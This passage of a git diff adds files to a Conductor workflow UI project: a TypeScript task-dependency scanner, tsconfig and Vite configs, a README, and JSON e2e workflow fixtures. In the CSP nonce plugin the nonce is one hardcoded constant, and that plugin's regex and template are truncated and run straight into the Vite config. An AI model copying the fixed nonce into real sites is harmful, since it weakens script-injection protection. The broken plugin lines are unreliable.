CommonTaskDef[]) { + const extractedDependencies = Array.from( + walk(tasks), + ).reduce( + (acc: FoundDependencies, task): FoundDependencies => { + const integrationNames = extractIntegrationName(task); + if (integrationNames && integrationNames.length > 0) { + integrationNames.forEach((name) => acc.integrationNames.add(name)); + } + const promptNames = extractPromptName(task); + if (promptNames && promptNames.length > 0) { + promptNames.forEach((name) => acc.promptNames.add(name)); + } + + const secrets = extractSecrets(task); + secrets.forEach((s) => acc.secrets.add(s)); + + const env = extractEnvironmentVariables(task); + env.forEach((ev) => acc.env.add(ev)); + + const userForms = extractUserFormNameVersion(task); + + const schemas = extractSchemaNameVersion(task); + + return { + ...acc, + userFormsNameVersion: acc.userFormsNameVersion.concat(userForms), + schemas: acc.schemas.concat(schemas), + }; + }, + { + integrationNames: new Set(), + promptNames: new Set(), + userFormsNameVersion: [], + secrets: new Set(), + schemas: [], + env: new Set(), + }, + ); + return { + integrationNames: Array.from(extractedDependencies.integrationNames), + promptNames: Array.from(extractedDependencies.promptNames), + userFormsNameVersion: uniqueNameVersion( + extractedDependencies.userFormsNameVersion, + ), + schemas: uniqueNameVersion(extractedDependencies.schemas), + secrets: Array.from(extractedDependencies.secrets), + env: Array.from(extractedDependencies.env), + } as const; +} + +export function scanTasksForDependenciesInWorkflow(workflow: WorkflowDef) { + const taskDependencies = scanTasksForDependenciesInTasks( + workflow.tasks || [], + ); + + const workflowSchema: NameVersion[] = []; + + if (workflow.inputSchema?.name) { + workflowSchema.push({ + name: workflow.inputSchema.name as string, + version: workflow.inputSchema?.version?.toString(), + }); + } + + if (workflow.outputSchema?.name) { + workflowSchema.push({ + name: workflow.outputSchema.name as string, + version: workflow.outputSchema?.version?.toString(), + }); + } + + const workflowSecrets = handlebarsMatcherExtractor( + workflow?.outputParameters ?? {}, + secretMatcher, + ); + + const workflowEnv = handlebarsMatcherExtractor( + workflow?.outputParameters ?? {}, + environmentVariablesMatcher, + ); + + return { + ...taskDependencies, + schemas: uniqueNameVersion(taskDependencies.schemas.concat(workflowSchema)), + secrets: _uniq(taskDependencies.secrets.concat(workflowSecrets)), + env: _uniq(taskDependencies.env.concat(workflowEnv)), + workflowName: workflow.name, + workflowVersion: workflow.version, + }; +} + +export const replaceIntegrationName = ( + task: CommonTaskDef, + originalName: string, + replaceName: string, +): CommonTaskDef => { + if (isLLMTask(task)) { + const newInputParameters = { ...task.inputParameters }; + let changed = false; + + if ( + "llmProvider" in newInputParameters && + newInputParameters.llmProvider === originalName && + !hasWorkflowVariable(newInputParameters.llmProvider) + ) { + newInputParameters.llmProvider = replaceName; + changed = true; + } else if ( + "vectorDB" in newInputParameters && + newInputParameters.vectorDB === originalName && + !hasWorkflowVariable(newInputParameters.vectorDB) + ) { + newInputParameters.vectorDB = replaceName; + changed = true; + } + + if (changed) { + return { ...task, inputParameters: newInputParameters } as typeof task; + } + return task; + } else if (isSetVariable(task) || isDynamicForkTask(task)) { + // Recursively replace in inputParameters + const newInputParameters = { ...task.inputParameters }; + let changed = false; + for (const key of Object.keys(newInputParameters)) { + const value = newInputParameters[key as keyof typeof newInputParameters]; + if (isObjectOnlyNotArray(value) && isTask(value)) { + const replaced = replaceIntegrationName( + value, + originalName, + replaceName, + ); + if (replaced !== value) { + newInputParameters[key as keyof typeof newInputParameters] = replaced; + changed = true; + } + } else if (Array.isArray(value)) { + const replacedArr = value.map((v) => + isTask(v) ? replaceIntegrationName(v, originalName, replaceName) : v, + ); + if (JSON.stringify(replacedArr) !== JSON.stringify(value)) { + newInputParameters[key as keyof typeof newInputParameters] = + replacedArr; + changed = true; + } + } + } + if (changed) { + return { ...task, inputParameters: newInputParameters } as typeof task; + } + return task; + } + return task; +}; diff --git a/ui-next/tsconfig.json b/ui-next/tsconfig.json new file mode 100644 index 0000000..fed659f --- /dev/null +++ b/ui-next/tsconfig.json @@ -0,0 +1,44 @@ +{ + "compilerOptions": { + "target": "ESNext", + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "skipLibCheck": true, + "esModuleInterop": true, + "allowSyntheticDefaultImports": true, + "strict": true, + "forceConsistentCasingInFileNames": true, + "module": "ESNext", + "moduleResolution": "Bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx", + "noFallthroughCasesInSwitch": true, + "declaration": true, + "declarationDir": "./dist", + "paths": { + "commonServices": ["./src/commonServices/index.ts"], + "components": ["./src/components/index.ts"], + "queryClient": ["./src/queryClient.ts"], + "types": ["./src/types/index.ts"], + "useArrowNavigation": ["./src/useArrowNavigation.tsx"], + "utils": ["./src/utils/index.ts"], + "components/*": ["./src/components/*"], + "images/*": ["./src/images/*"], + "pages/*": ["./src/pages/*"], + "plugins/*": ["./src/plugins/*"], + "shared/*": ["./src/shared/*"], + "theme/*": ["./src/theme/*"], + "types/*": ["./src/types/*"], + "utils/*": ["./src/utils/*"], + "commonServices/*": ["./src/commonServices/*"], + "growthbook/*": ["./src/growthbook/*"], + "templates/*": ["./src/templates/*"], + "testData/*": ["./src/testData/*"] + }, + "types": ["react", "react-dom", "vite/client", "vitest/globals", "node"] + }, + "include": ["src"], + "exclude": ["node_modules", "dist"] +} diff --git a/ui-next/vite-plugin-csp-nonce.ts b/ui-next/vite-plugin-csp-nonce.ts new file mode 100644 index 0000000..40e6d04 --- /dev/null +++ b/ui-next/vite-plugin-csp-nonce.ts @@ -0,0 +1,20 @@ +import type { Plugin } from "vite"; + +const NONCE_VALUE = "tpsHAxwU5x0csoIuLNs2vg=="; + +/** + * Vite plugin to add CSP nonces to all script tags in the built HTML + */ +export function vitePluginCspNonce(): Plugin { + return { + name: "vite-plugin-csp-nonce", + enforce: "post", + transformIndexHtml(html) { + // Add nonce to all script tags that don't already have one + return html.replace( + /]*\snonce=)([^>]*)>/gi, + ``, + ); + }, + }; +} + +// https://vite.dev/config/ +export default defineConfig(({ mode }) => { + const env = loadEnv(mode, packageDir); + const BASE_URL = env.VITE_PUBLIC_URL || "/"; + + // Library build mode - creates npm package + // Note: Type declarations (dts) disabled due to compatibility issues + // Run `tsc --emitDeclarationOnly` separately if needed + if (mode === "lib") { + return { + plugins: [react(), tsconfigPaths(), svgr()], + build: { + lib: { + entry: resolve(__dirname, "src/index.ts"), + name: "ConductorUI", + fileName: "conductor-ui", + formats: ["es"] as const, + }, + rollupOptions: { + external: isLibPeerExternal, + output: { + globals: { + react: "React", + "react-dom": "ReactDOM", + "react-router-dom": "ReactRouterDOM", + }, + }, + }, + sourcemap: true, + }, + }; + } + + // App build mode - creates standalone OSS application + return { + base: BASE_URL, + resolve: { + // Prefer TypeScript so extensionless imports (e.g. `components/Foo`) resolve to + // `Foo.tsx` when both TS and JS variants could apply. + extensions: [".mjs", ".js", ".mts", ".ts", ".tsx", ".jsx", ".json"], + }, + plugins: [ + react(), + tsconfigPaths(), + svgr(), + vitePluginCspNonce(), + contextJsHashPlugin(), + ], + optimizeDeps: { + include: [ + "@emotion/react", + "@emotion/styled", + "@mui/material", + "@mui/system", + ], + }, + define: { + "process.env": {}, + }, + preview: { + port: 1234, + // Mirror the dev-server proxy so `vite preview` (used by integration + // tests) forwards API calls to the Conductor backend. + // VITE_WF_SERVER can be set in the process environment at preview time + // to override the .env file value (e.g. for CI or Playwright webServer). + proxy: { + "/api": { + target: + process.env.VITE_WF_SERVER || + env.VITE_WF_SERVER || + "http://localhost:8080", + changeOrigin: true, + }, + "/swagger-ui": { + target: + process.env.VITE_WF_SERVER || + env.VITE_WF_SERVER || + "http://localhost:8080", + changeOrigin: true, + }, + "/api-docs": { + target: + process.env.VITE_WF_SERVER || + env.VITE_WF_SERVER || + "http://localhost:8080", + changeOrigin: true, + }, + }, + }, + server: { + port: 1234, + proxy: { + "/api": { + target: env.VITE_WF_SERVER || "http://localhost:8080", + changeOrigin: true, + }, + "/swagger-ui": { + target: env.VITE_WF_SERVER || "http://localhost:8080", + changeOrigin: true, + }, + "/api-docs": { + target: env.VITE_WF_SERVER || "http://localhost:8080", + changeOrigin: true, + }, + }, + }, + build: { + outDir: "dist", + }, + test: { + globals: true, + environment: "jsdom", + setupFiles: "./src/setupTests.ts", + include: ["src/**/*.test.{js,ts,jsx,tsx}"], + coverage: { + provider: "v8", + reporter: ["text", "html", "lcov"], + include: ["src/**/*.{ts,tsx}"], + exclude: [ + "src/**/*.test.{ts,tsx}", + "src/setupTests.ts", + "src/main.tsx", + "src/index.ts", + ], + }, + server: { + deps: { + // Force Vitest to process Monaco's ESM through its own pipeline + // rather than trying to load browser-only bundles in jsdom. + inline: ["monaco-editor"], + }, + }, + }, + }; +}); diff --git a/ui-next/vite.lib-peer-external.ts b/ui-next/vite.lib-peer-external.ts new file mode 100644 index 0000000..603c2c0 --- /dev/null +++ b/ui-next/vite.lib-peer-external.ts @@ -0,0 +1,34 @@ +/** Package roots supplied by the host app (see package.json peerDependencies). Lib build must not bundle these. */ +export const LIB_PEER_ROOTS = [ + "react", + "react-dom", + "react-router", + "react-router-dom", + "react-router-use-location-state", + "@emotion/react", + "@emotion/styled", + "@mui/material", + "@mui/icons-material", + "@mui/system", + "@mui/x-date-pickers", + "@jsonforms/core", + "@jsonforms/material-renderers", + "@jsonforms/react", + "@monaco-editor/react", + "monaco-editor", + "@dnd-kit/core", + "@dnd-kit/sortable", + "react-hook-form", + "@hookform/resolvers", + "yup", + "styled-components", +] as const; + +export function isLibPeerExternal(id: string): boolean { + for (const root of LIB_PEER_ROOTS) { + if (id === root || id.startsWith(`${root}/`)) { + return true; + } + } + return false; +} diff --git a/ui/.env b/ui/.env new file mode 100644 index 0000000..9a69c24 --- /dev/null +++ b/ui/.env @@ -0,0 +1 @@ +PORT=5000 \ No newline at end of file diff --git a/ui/.eslintrc b/ui/.eslintrc new file mode 100644 index 0000000..cf99afd --- /dev/null +++ b/ui/.eslintrc @@ -0,0 +1,6 @@ +{ + "extends": ["react-app"], + "rules": { + "import/no-anonymous-default-export": 0 + } +} diff --git a/ui/.gitignore b/ui/.gitignore new file mode 100644 index 0000000..1e0cbc8 --- /dev/null +++ b/ui/.gitignore @@ -0,0 +1,28 @@ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.js + +# testing +/coverage +/playwright-report +/blob-report +/test-results +/__snapshots__ + +# production +/build + +# misc +.DS_Store +.env.local +.env.development.local +.env.test.local +.env.production.local + +npm-debug.log* +yarn-debug.log* +yarn-error.log* + diff --git a/ui/.prettierignore b/ui/.prettierignore new file mode 100644 index 0000000..c795b05 --- /dev/null +++ b/ui/.prettierignore @@ -0,0 +1 @@ +build \ No newline at end of file diff --git a/ui/.prettierrc.json b/ui/.prettierrc.json new file mode 100644 index 0000000..0967ef4 --- /dev/null +++ b/ui/.prettierrc.json @@ -0,0 +1 @@ +{} diff --git a/ui/README.md b/ui/README.md new file mode 100644 index 0000000..3ff9fb5 --- /dev/null +++ b/ui/README.md @@ -0,0 +1,64 @@ +## Conductor UI + +The UI is a standard `create-react-app` React Single Page Application (SPA). To get started, with Node 14 and `yarn` installed, first run `yarn install` from within the `/ui` directory to retrieve package dependencies. + +For more information regarding CRA configuration and usage, see the official [doc site](https://create-react-app.dev/). + +> ### For upgrading users +> +> The UI is designed to operate directly with the Conductor Server API. A Node `express` backend is no longer required. + +### Development Server + +To run the UI on the bundled development server, run `yarn run start`. Navigate your browser to `http://localhost:5000`. + +To enable errors inspector module export env var: `REACT_APP_ENABLE_ERRORS_INSPECTOR=true`, then run `yarn start`. + +#### Reverse Proxy Configuration + +By default, the development server proxies requests to `http://localhost:8080/api`. + +To use a different Conductor Server, set the `WF_SERVER` environment variable: + +``` +export WF_SERVER=http://localhost:8081 +yarn run start +``` + +For additional customization (e.g., path rewriting), edit `setupProxy.js`. Note that this file is only used by the development server. + +### Hosting for Production + +There is no need to "build" the project unless you require compiled assets to host on a production web server. In this case, the project can be built with the command `yarn build`. The assets will be produced to `/build`. + +Your hosting environment should make the Conductor Server API available on the same domain. This avoids complexities regarding cross-origin data fetching. The default path prefix is `/api`. If a different prefix is desired, `plugins/fetch.js` can be modified to customize the API fetch behavior. + +See `docker/serverAndUI` for an `nginx` based example. + +#### Different host path + +The static UI would work when rendered from any host route. +The default is '/'. You can customize this by setting the 'homepage' field in package.json +Refer + +- https://docs.npmjs.com/cli/v9/configuring-npm/package-json#homepage +- https://create-react-app.dev/docs/deployment/#building-for-relative-paths + +### Customization Hooks + +For ease of maintenance, a number of touch points for customization have been removed to `/plugins`. + +- `AppBarModules.jsx` +- `AppLogo.jsx` +- `env.js` +- `fetch.js` + +### Authentication + +We recommend that authentication & authorization be de-coupled from the UI and handled at the web server/access gateway. + +#### Examples (WIP) + +- Basic Auth (username/password) with `nginx` +- Commercial IAM Vendor +- Node `express` server with `passport.js` diff --git a/ui/e2e/fixtures/doWhile/doWhileSwitch.json b/ui/e2e/fixtures/doWhile/doWhileSwitch.json new file mode 100644 index 0000000..d19b33d --- /dev/null +++ b/ui/e2e/fixtures/doWhile/doWhileSwitch.json @@ -0,0 +1,416 @@ +{ + "ownerApp": "nq_mwi_conductor_ui_server", + "createTime": 1660252744369, + "status": "COMPLETED", + "endTime": 1660252745449, + "workflowId": "9aaf69a6-9c61-4460-93b5-0a657a084ba4", + "tasks": [ + { + "taskType": "INLINE", + "status": "COMPLETED", + "inputData": { + "evaluatorType": "javascript", + "expression": "1", + "value": null + }, + "referenceTaskName": "inline_task_outside", + "retryCount": 0, + "seq": 1, + "pollCount": 0, + "taskDefName": "inline_task_outside", + "scheduledTime": 1660252744439, + "startTime": 1660252744437, + "endTime": 1660252744504, + "updateTime": 1660252744446, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "9aaf69a6-9c61-4460-93b5-0a657a084ba4", + "workflowType": "LoopTestWithSwitch", + "taskId": "07ae873e-5316-4e89-9c1e-a9cab711f1a2", + "callbackAfterSeconds": 0, + "outputData": { + "result": 1 + }, + "workflowTask": { + "name": "inline_task_outside", + "taskReferenceName": "inline_task_outside", + "inputParameters": { + "value": "${workflow.input.value}", + "evaluatorType": "javascript", + "expression": "1" + }, + "type": "INLINE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -2, + "loopOverTask": false + }, + { + "taskType": "DO_WHILE", + "status": "COMPLETED", + "inputData": { + "value": null + }, + "referenceTaskName": "LoopTask", + "retryCount": 0, + "seq": 2, + "pollCount": 0, + "taskDefName": "Loop Task", + "scheduledTime": 1660252744620, + "startTime": 1660252744618, + "endTime": 1660252745337, + "updateTime": 1660252744808, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "9aaf69a6-9c61-4460-93b5-0a657a084ba4", + "workflowType": "LoopTestWithSwitch", + "taskId": "790126b0-81e8-4286-ac65-d1f4c8eca271", + "callbackAfterSeconds": 0, + "outputData": { + "1": { + "inline_task": { + "result": { + "result": "NODE_2" + } + }, + "switch_task": { + "evaluationResult": ["null"] + } + }, + "iteration": 1 + }, + "workflowTask": { + "name": "Loop Task", + "taskReferenceName": "LoopTask", + "inputParameters": { + "value": "${workflow.input.value}" + }, + "type": "DO_WHILE", + "startDelay": 0, + "optional": false, + "asyncComplete": false, + "loopCondition": "false", + "loopOver": [ + { + "name": "inline_task", + "taskReferenceName": "inline_task", + "inputParameters": { + "value": "${workflow.input.value}", + "evaluatorType": "javascript", + "expression": "function e() { if ($.value == 1){return {\"result\": 'NODE_1'}} else { return {\"result\": 'NODE_2'}}} e();" + }, + "type": "INLINE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "switch_task", + "taskReferenceName": "switch_task", + "inputParameters": { + "switchCaseValue": "${inline_task_1.output.result.result}" + }, + "type": "SWITCH", + "decisionCases": { + "NODE_1": [ + { + "name": "Set_NODE_1", + "taskReferenceName": "Set_NODE_1", + "inputParameters": { + "node": "NODE_1" + }, + "type": "SET_VARIABLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ], + "NODE_2": [ + { + "name": "Set_NODE_2", + "taskReferenceName": "Set_NODE_2", + "inputParameters": { + "node": "NODE_2" + }, + "type": "SET_VARIABLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ] + }, + "startDelay": 0, + "optional": false, + "asyncComplete": false, + "evaluatorType": "value-param", + "expression": "switchCaseValue" + } + ] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "workflowPriority": 0, + "iteration": 1, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -2, + "loopOverTask": true + }, + { + "taskType": "INLINE", + "status": "COMPLETED", + "inputData": { + "evaluatorType": "javascript", + "expression": "function e() { if ($.value == 1){return {\"result\": 'NODE_1'}} else { return {\"result\": 'NODE_2'}}} e();", + "value": null + }, + "referenceTaskName": "inline_task__1", + "retryCount": 0, + "seq": 3, + "pollCount": 0, + "taskDefName": "inline_task", + "scheduledTime": 1660252744696, + "startTime": 1660252744693, + "endTime": 1660252744931, + "updateTime": 1660252744702, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "9aaf69a6-9c61-4460-93b5-0a657a084ba4", + "workflowType": "LoopTestWithSwitch", + "taskId": "27f7fbc4-325b-43c4-872f-37dc64c9dab0", + "callbackAfterSeconds": 0, + "outputData": { + "result": { + "result": "NODE_2" + } + }, + "workflowTask": { + "name": "inline_task", + "taskReferenceName": "inline_task", + "inputParameters": { + "value": "${workflow.input.value}", + "evaluatorType": "javascript", + "expression": "function e() { if ($.value == 1){return {\"result\": 'NODE_1'}} else { return {\"result\": 'NODE_2'}}} e();" + }, + "type": "INLINE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 1, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -3, + "loopOverTask": true + }, + { + "taskType": "SWITCH", + "status": "COMPLETED", + "inputData": { + "case": "null" + }, + "referenceTaskName": "switch_task__1", + "retryCount": 0, + "seq": 4, + "pollCount": 0, + "taskDefName": "SWITCH", + "scheduledTime": 1660252745049, + "startTime": 1660252745047, + "endTime": 1660252745163, + "updateTime": 1660252745056, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "9aaf69a6-9c61-4460-93b5-0a657a084ba4", + "workflowType": "LoopTestWithSwitch", + "taskId": "2e2a0836-a2e6-4902-9e41-9bbc2c75e0ed", + "callbackAfterSeconds": 0, + "outputData": { + "evaluationResult": ["null"] + }, + "workflowTask": { + "name": "switch_task", + "taskReferenceName": "switch_task", + "inputParameters": { + "switchCaseValue": "${inline_task_1.output.result.result}" + }, + "type": "SWITCH", + "decisionCases": { + "NODE_1": [ + { + "name": "Set_NODE_1", + "taskReferenceName": "Set_NODE_1", + "inputParameters": { + "node": "NODE_1" + }, + "type": "SET_VARIABLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ], + "NODE_2": [ + { + "name": "Set_NODE_2", + "taskReferenceName": "Set_NODE_2", + "inputParameters": { + "node": "NODE_2" + }, + "type": "SET_VARIABLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ] + }, + "startDelay": 0, + "optional": false, + "asyncComplete": false, + "evaluatorType": "value-param", + "expression": "switchCaseValue" + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 1, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -2, + "loopOverTask": true + } + ], + "input": {}, + "output": { + "evaluationResult": ["null"] + }, + "taskToDomain": {}, + "failedReferenceTaskNames": [], + "workflowDefinition": { + "createTime": 1660244498873, + "updateTime": 1660252731854, + "name": "LoopTestWithSwitch", + "description": "Loop Test With Switch WF", + "version": 3, + "tasks": [ + { + "name": "inline_task_outside", + "taskReferenceName": "inline_task_outside", + "inputParameters": { + "value": "${workflow.input.value}", + "evaluatorType": "javascript", + "expression": "1" + }, + "type": "INLINE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "Loop Task", + "taskReferenceName": "LoopTask", + "inputParameters": { + "value": "${workflow.input.value}" + }, + "type": "DO_WHILE", + "startDelay": 0, + "optional": false, + "asyncComplete": false, + "loopCondition": "false", + "loopOver": [ + { + "name": "inline_task", + "taskReferenceName": "inline_task", + "inputParameters": { + "value": "${workflow.input.value}", + "evaluatorType": "javascript", + "expression": "function e() { if ($.value == 1){return {\"result\": 'NODE_1'}} else { return {\"result\": 'NODE_2'}}} e();" + }, + "type": "INLINE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "switch_task", + "taskReferenceName": "switch_task", + "inputParameters": { + "switchCaseValue": "${inline_task_1.output.result.result}" + }, + "type": "SWITCH", + "decisionCases": { + "NODE_1": [ + { + "name": "Set_NODE_1", + "taskReferenceName": "Set_NODE_1", + "inputParameters": { + "node": "NODE_1" + }, + "type": "SET_VARIABLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ], + "NODE_2": [ + { + "name": "Set_NODE_2", + "taskReferenceName": "Set_NODE_2", + "inputParameters": { + "node": "NODE_2" + }, + "type": "SET_VARIABLE", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ] + }, + "startDelay": 0, + "optional": false, + "asyncComplete": false, + "evaluatorType": "value-param", + "expression": "switchCaseValue" + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "abc@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + "priority": 0, + "variables": {}, + "lastRetriedTime": 0, + "startTime": 1660252744369, + "workflowName": "LoopTestWithSwitch", + "workflowVersion": 3 +} diff --git a/ui/e2e/fixtures/dynamicFork.json b/ui/e2e/fixtures/dynamicFork.json new file mode 100644 index 0000000..45f423c --- /dev/null +++ b/ui/e2e/fixtures/dynamicFork.json @@ -0,0 +1,4286 @@ +{ + "ownerApp": "", + "createTime": 1608153919527, + "status": "TERMINATED", + "endTime": 1608173713271, + "workflowId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "parentWorkflowId": "9f9057d0-86c4-464f-b4d0-1606e66798fd", + "parentWorkflowTaskId": "1f908fd3-b02f-47f1-b223-7625bc2da1a3", + "tasks": [ + { + "taskType": "FORK", + "status": "COMPLETED", + "inputData": { + "forkedTaskDefs": [ + { + "name": "processshot", + "taskReferenceName": "processshot_4cf45860-3fe3-11eb-8740-12f4b5a75f47_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "processshot", + "taskReferenceName": "processshot_4f936d40-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "processshot", + "taskReferenceName": "processshot_5256abf0-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "processshot", + "taskReferenceName": "processshot_54ebd5c0-3fe3-11eb-bd3b-1230be2091b7_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "processshot", + "taskReferenceName": "processshot_57784d00-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "processshot", + "taskReferenceName": "processshot_59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "processshot", + "taskReferenceName": "processshot_5c51e890-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "processshot", + "taskReferenceName": "processshot_5ec00260-3fe3-11eb-bd3b-1230be2091b7_1.2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.shotprocessing_v2" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkedTasks": [ + "processshot_4cf45860-3fe3-11eb-8740-12f4b5a75f47_1.2", + "processshot_4f936d40-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "processshot_5256abf0-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "processshot_54ebd5c0-3fe3-11eb-bd3b-1230be2091b7_1.2", + "processshot_57784d00-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "processshot_59f3ad40-3fe3-11eb-8a3e-12ffdb69dc47_1.2", + "processshot_5c51e890-3fe3-11eb-9af1-12a7f1c641e3_1.2", + "processshot_5ec00260-3fe3-11eb-bd3b-1230be2091b7_1.2" + ] + }, + "referenceTaskName": "shot_processing", + "retryCount": 0, + "seq": 52, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 0, + "taskDefName": "FORK", + "scheduledTime": 1608154318377, + "startTime": 0, + "endTime": 1608154318334, + "updateTime": 1608154318402, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "637364c4-31bf-4c50-8c81-c04d1dafe27f", + "taskId": "1a859277-c27e-4d28-bb57-271ea5a16f96", + "callbackAfterSeconds": 0, + "outputData": {}, + "workflowTask": { + "name": "asset_processing", + "taskReferenceName": "shot_processing", + "inputParameters": { + "taskDefs": "${prepareShotProcessingTasks.output.result.taskDefs}", + "taskInputs": "${prepareShotProcessingTasks.output.result.taskInputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "taskDefs", + "dynamicForkTasksInputParamName": "taskInputs", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": 0, + "loopOverTask": false + }, + { + "taskType": "SUB_WORKFLOW", + "status": "CANCELED", + "inputData": { + "playlistId": 375594, + "metadata": { + "submission_note": null, + "version_name": null, + "scope_of_work": null, + "reason_for_review": "• *SUBMITTING FOR* - null\n• *SCOPE OF WORK* - null\n• *NOTES* - null", + "vendor": null, + "link": null, + "submitting_for": null, + "sort_order": null + }, + "subWorkflowTaskToDomain": null, + "subWorkflowName": "vfxmediareview.shotprocessing_v2", + "reviewAssetId": { + "versionId": "1.4", + "id": "4cf51bb0-3fe3-11eb-8740-12f4b5a75f47" + }, + "vendorId": null, + "shotname": null, + "topLevelAssetId": { + "versionId": "1.2", + "id": "4cf45860-3fe3-11eb-8740-12f4b5a75f47" + }, + "vendorName": "Netflix", + "reviewProjectId": "222", + "subWorkflowVersion": 1, + "playlistName": "HUB-3087_20201216_01", + "subWorkflowDefinition": null, + "workflowInput": {}, + "sgAmpRefId": "4cf45860-3fe3-11eb-8740-12f4b5a75f47:1.2", + "reviewServer": "netflix-review-staging.shotgunstudio.com" + }, + "referenceTaskName": "processshot_4cf45860-3fe3-11eb-8740-12f4b5a75f47_1.2", + "retryCount": 0, + "seq": 53, + "correlationId": "6980f3f8-9077-45ca-9f0f-5d9545799a61", + "pollCount": 1, + "taskDefName": 